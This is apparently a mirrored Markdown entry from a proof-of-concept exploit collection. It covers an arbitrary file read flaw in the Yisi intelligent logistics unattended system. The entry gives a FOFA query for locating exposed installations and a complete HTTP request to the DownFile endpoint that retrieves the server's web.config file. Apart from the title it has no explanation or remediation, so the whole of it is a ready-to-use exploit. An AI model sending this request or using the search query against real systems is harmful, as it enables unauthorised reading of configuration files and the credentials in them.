mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 20:54:52 +08:00
21 lines
597 B
Markdown
21 lines
597 B
Markdown
# 易思智能物流无人值守系统DownFile任意文件读取漏洞
|
|
|
|
易思智能物流无人值守系统DownFile任意文件读取漏洞
|
|
|
|
## fofa
|
|
|
|
```javascript
|
|
body="/api/SingleLogin"
|
|
```
|
|
|
|
## poc
|
|
|
|
```javascript
|
|
GET /PublicInfoManage/Upload/DownFile?filePath=web.config HTTP/1.0
|
|
Host:
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Connection: close
|
|
```
|
|
|
|
 |